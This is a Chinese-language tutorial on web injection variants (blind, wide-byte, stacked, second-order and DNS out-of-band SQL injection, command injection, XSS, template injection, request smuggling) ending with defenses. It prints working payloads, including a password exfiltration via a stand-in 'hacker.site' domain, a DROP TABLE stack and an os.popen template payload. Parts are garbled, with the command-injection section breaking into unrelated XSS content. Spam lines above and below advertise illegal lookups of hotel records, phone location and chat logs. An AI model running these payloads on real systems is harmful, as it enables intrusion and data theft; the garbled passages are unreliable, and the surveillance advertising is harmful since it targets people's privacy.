Web注入漏洞各类变形原理讲解

@ 查( 开房记录、手机定位 )

@ 查( 外卖地址、聊天记录 )

Web注入漏洞的本质是“数据与代码的边界模糊”。攻击者通过构造特殊的输入,让服务器将“恶意数据”当作“可执行代码”来解析。

4-format2020.jpg.579c6c16a0537beb51730b1046cf3353.jpg

随着防御技术(如WAF、预编译)的升级,注入攻击也演变出了各种“变形”形态。结合最新的搜索结果,我为你梳理了SQL注入、命令注入、XSS及新型注入的常见变形原理。


🗄️ SQL注入(SQLi)的进阶变形


当简单的 ' OR 1=1 被拦截时,攻击者会利用数据库特性或编码技巧进行绕过。


1. 盲注变形:看不见的“是/否”与“时间差”

当页面不再回显数据库错误信息时,攻击者无法直接看到结果,只能靠“猜”。

*   布尔盲注:通过页面内容的“正常”与“异常”来判断。

    *   原理:构造 ' AND 1=1(页面正常)和 ' AND 1=2(页面异常)。攻击者逐位猜解数据库名,例如 AND ASCII(SUBSTRING(database(),1,1))>100。如果页面正常,说明首字母ASCII码大于100。

*   时间盲注:页面无变化,但通过响应时间判断。

    *   原理:利用数据库的延时函数(如MySQL的 SLEEP(3) 或 PostgreSQL的 pg_sleep(3))。构造 ' AND IF(1=1, SLEEP(3), 0),如果页面加载延迟了3秒,说明条件成立。


2. 宽字节注入:吃掉反斜杠的“吞噬术”

这是针对 addslashes() 或 mysql_real_escape_string() 等转义函数的经典绕过。

*   原理:PHP在处理GBK编码时,%bf%27(縗')会被视为一个字符。

*   变形:攻击者输入 %bf%27,数据库将 %bf%5c(即 %bf + 转义后的 )解析为一个宽字符,从而“吃掉”了原本用来转义单引号的反斜杠,使单引号逃逸出来闭合SQL语句。


3. 堆叠注入:分号分隔的“连招”

*   原理:利用分号 ; 结束当前语句并开启新语句。

*   限制:需要后端使用支持多语句执行的函数(如PHP的 mysqli_multi_query)。

*   实战:输入 id=1; DROP TABLE users; --,一次性执行查询和删表操作。


4. 二次注入:潜伏的“特洛伊木马”

*   原理:攻击分两步。第一步注册时,输入包含恶意SQL片段的用户名(如 admin'#),后端转义后存入数据库(存为 admin'#)。第二步修改密码时,后端取出数据并拼接SQL,此时转义符被还原或抵消,导致注入生效。


5. 带外注入:利用DNS的“快递偷运”

当页面既无回显也不延时,攻击者利用数据库的文件读取或DNS解析功能,将数据“发送”到外部服务器。

*   原理:利用 LOAD_FILE() 或 INTO OUTFILE 访问UNC路径。

*   变形:构造 ' UNION SELECT LOAD_FILE(CONCAT('\', (SELECT password FROM users), '.hacker.sitea'))。数据库会尝试解析 密码内容.hacker.site 的域名,攻击者通过查看DNS日志即可获取密码。


💻 命令注入(RCE)的免杀变形


当系统过滤了空格、敏感命令(如 cat, ls)时,攻击者利用Shell特性绕过。


1. 拼接绕过:没有空格怎么办?

*   内联执行:使用 () 或反引号    代替空格,如 catIFS/etc/passwd($IFS 是Shell内部字段分隔符,默认包含空格)。

*   重定向:使用  绕过部分过滤器。

*   Angular:滥用 bypassSecurityTrustHtml API,或利用模板注入 {{ constructor.constructor('alert(1)')() }}。


2. 原型链污染

*   原理:攻击者通过修改 JavaScript 对象的原型(proto),改变 DOM 元素的默认行为。

*   变形:注入 {"proto": {"innerHTML": ""}},导致页面所有使用该属性的元素触发 XSS。


🧩 其他新型注入变形


1. HTTP请求走私

*   原理:利用前端服务器(如反向代理)和后端服务器对HTTP请求头(特别是 Content-Length 和 Transfer-Encoding)解析的不一致。

*   危害:攻击者可以“ smuggle”一个恶意请求藏在正常请求后面,绕过安全检测,甚至劫持其他用户的会话。


2. 模板注入

*   原理:服务端模板引擎(如Jinja2, Freemarker)未对用户输入进行过滤。

*   变形:输入 {{7*7}} 若回显 49,则说明存在注入。攻击者可进一步调用系统对象,如 {{config.class.init.globals['os'].popen('id').read()}} 实现命令执行。


3. XPath注入

*   原理:针对XML数据库的攻击。通过构造 ' or '1'='1` 闭合XPath查询,绕过身份验证或提取数据。


🛡️ 总结与防御


注入漏洞的变形虽然层出不穷,但核心防御思路是一致的:


1.  使用预编译语句:彻底解决SQL注入(参数化查询)。

2.  输入验证与输出编码:对所有用户输入进行白名单校验,输出时根据上下文(HTML/JS/CSS)进行转义。

3.  最小权限原则:数据库账号不给 DROP/EXEC 权限,Web服务不以 Root 运行。

4.  统一字符集:强制使用 UTF-8,避免宽字节注入。

@ 查( 开房记录、手机定位 )

@ 查( 外卖地址、聊天记录 )

微信号复制成功

打开微信,点击右上角"+"号,添加朋友,粘贴微信号,搜索即可!